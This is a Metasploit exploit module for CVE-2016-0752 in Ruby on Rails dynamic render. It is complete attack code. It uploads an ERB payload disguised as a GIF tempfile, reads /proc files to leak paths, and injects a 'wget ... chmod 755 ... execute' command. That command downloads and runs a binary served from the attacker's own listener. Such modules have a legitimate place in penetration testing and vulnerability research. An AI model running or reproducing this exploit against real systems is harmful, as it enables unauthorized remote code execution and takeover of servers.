require 'msf/core' class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient include Msf::Exploit::Remote::HttpServer include Msf::Exploit::EXE include Msf::Exploit::FileDropper def initialize(info = {}) super(update_info(info, 'Name' => 'Ruby on Rails Dynamic Render File Upload Remote Code Execution', 'Description' => %q{ This module exploits a remote code execution vulnerability in the explicit render method when leveraging user parameters. This module has been tested across multiple versions of Ruby on Rails. The technique used by this module requires the specified endpoint to be using dynamic render paths, such as the following example: def show render params[:id] end Also, the vulnerable target will need a POST endpoint for the TempFile upload, this can literally be any endpoint. This module doesnt use the log inclusion method of exploitation due to it not being universal enough. Instead, a new code injection technique was found and used whereby an attacker can upload temporary image files against any POST endpoint and use them for the inclusion attack. Finally, you only get one shot at this if you are testing with the builtin rails server, use caution. }, 'Author' => [ 'mr_me <mr_me@offensive-security.com>', # necromanced old bug & discovered new vector rce vector 'John Poulin (forced-request)' # original render bug finder ], 'References' => [ [ 'CVE', '2016-0752'], [ 'URL', 'https://groups.google.com/forum/#!topic/rubyonrails-security/335P1DcLG00'], # rails patch [ 'URL', 'https://nvisium.com/blog/2016/01/26/rails-dynamic-render-to-rce-cve-2016-0752/'], # John Poulin CVE-2016-0752 patched in 5.0.0.beta1.1 - January 25, 2016 [ 'URL', 'https://gist.github.com/forced-request/5158759a6418e6376afb'], # John's original exploit ], 'License' => MSF_LICENSE, 'Platform' => ['linux', 'bsd'], 'Arch' => ARCH_X86, 'Payload' => { 'DisableNops' => true, }, 'Privileged' => false, 'Targets' => [ [ 'Ruby on Rails 4.0.8 July 2, 2014', {} ] # Other versions are also affected ], 'DefaultTarget' => 0, 'DisclosureDate' => 'Oct 16 2016')) register_options( [ Opt::RPORT(3000), OptString.new('URIPATH', [ true, 'The path to the vulnerable route', "/users"]), OptPort.new('SRVPORT', [ true, 'The daemon port to listen on', 1337 ]), ], self.class) end def check # this is the check for the dev environment res = send_request_cgi({ 'uri' => normalize_uri(datastore['URIPATH'], "%2f"), 'method' => 'GET', }, 60) # if the page controller is dynamically rendering, its for sure vuln if res and res.body =~ /render params/ return CheckCode::Vulnerable end # this is the check for the prod environment res = send_request_cgi({ 'uri' => normalize_uri(datastore['URIPATH'], "%2fproc%2fself%2fcomm"), 'method' => 'GET', }, 60) # if we can read files, its likley we can execute code if res and res.body =~ /ruby/ return CheckCode::Appears end return CheckCode::Safe end def on_request_uri(cli, request) if (not @pl) print_error("#{rhost}:#{rport} - A request came in, but the payload wasn't ready yet!") return end print_status("#{rhost}:#{rport} - Sending the payload to the server...") @elf_sent = true send_response(cli, @pl) end def send_payload @bd = rand_text_alpha(8+rand(8)) fn = rand_text_alpha(8+rand(8)) un = rand_text_alpha(8+rand(8)) pn = rand_text_alpha(8+rand(8)) register_file_for_cleanup("/tmp/#{@bd}") cmd = "wget #{@service_url} -O /tmp/#{@bd};" cmd << "chmod 755 /tmp/#{@bd};" cmd << "/tmp/#{@bd}" pay = "<%=`#{cmd}`%>" print_status("uploading image...") data = Rex::MIME::Message.new data.add_part(pay, nil, nil, 'form-data; name="#{un}"; filename="#{fn}.gif"') res = send_request_cgi({ 'method' => 'POST', 'cookie' => @cookie, 'uri' => normalize_uri(datastore['URIPATH'], pn), 'ctype' => "multipart/form-data; boundary=#{data.bound}", 'data' => data.to_s }) if res and res.code == 422 and res.body =~ /Tempfile:\/(.*)&gt;/ @path = "#{$1}" if res.body =~ /Tempfile:\/(.*)&gt;/ return true else # this is where we pull the log file if leak_log return true end end return false end def leak_log # path to the log /proc/self/fd/7 # this bypasses the extension check res = send_request_cgi({ 'uri' => normalize_uri(datastore['URIPATH'], "proc%2fself%2ffd%2f7"), 'method' => 'GET', }, 60) if res and res.code == 200 and res.body =~ /Tempfile:\/(.*)>, @original_filename=/ @path = "#{$1}" if res.body =~ /Tempfile:\/(.*)>, @original_filename=/ return true end return false end def start_http_server @pl = generate_payload_exe @elf_sent = false downfile = rand_text_alpha(8+rand(8)) resource_uri = '/' + downfile if (datastore['SRVHOST'] == "0.0.0.0" or datastore['SRVHOST'] == "::") srv_host = datastore['URIHOST'] || Rex::Socket.source_address(rhost) else srv_host = datastore['SRVHOST'] end # do not use SSL for the attacking web server if datastore['SSL'] ssl_restore = true datastore['SSL'] = false end @service_url = "http://#{srv_host}:#{datastore['SRVPORT']}#{resource_uri}" service_url_payload = srv_host + resource_uri print_status("#{rhost}:#{rport} - Starting up our web service on #{@service_url} ...") start_service({'Uri' => { 'Proc' => Proc.new { |cli, req| on_request_uri(cli, req) }, 'Path' => resource_uri }}) datastore['SSL'] = true if ssl_restore connect end def render_tmpfile @path.gsub!(/\//, '%2f') res = send_request_cgi({ 'uri' => normalize_uri(datastore['URIPATH'], @path), 'method' => 'GET', }, 1) end def exploit print_status("Sending initial request to detect exploitability") start_http_server if send_payload print_good("injected payload") render_tmpfile # we need to delay, for the stager select(nil, nil, nil, 5) end end end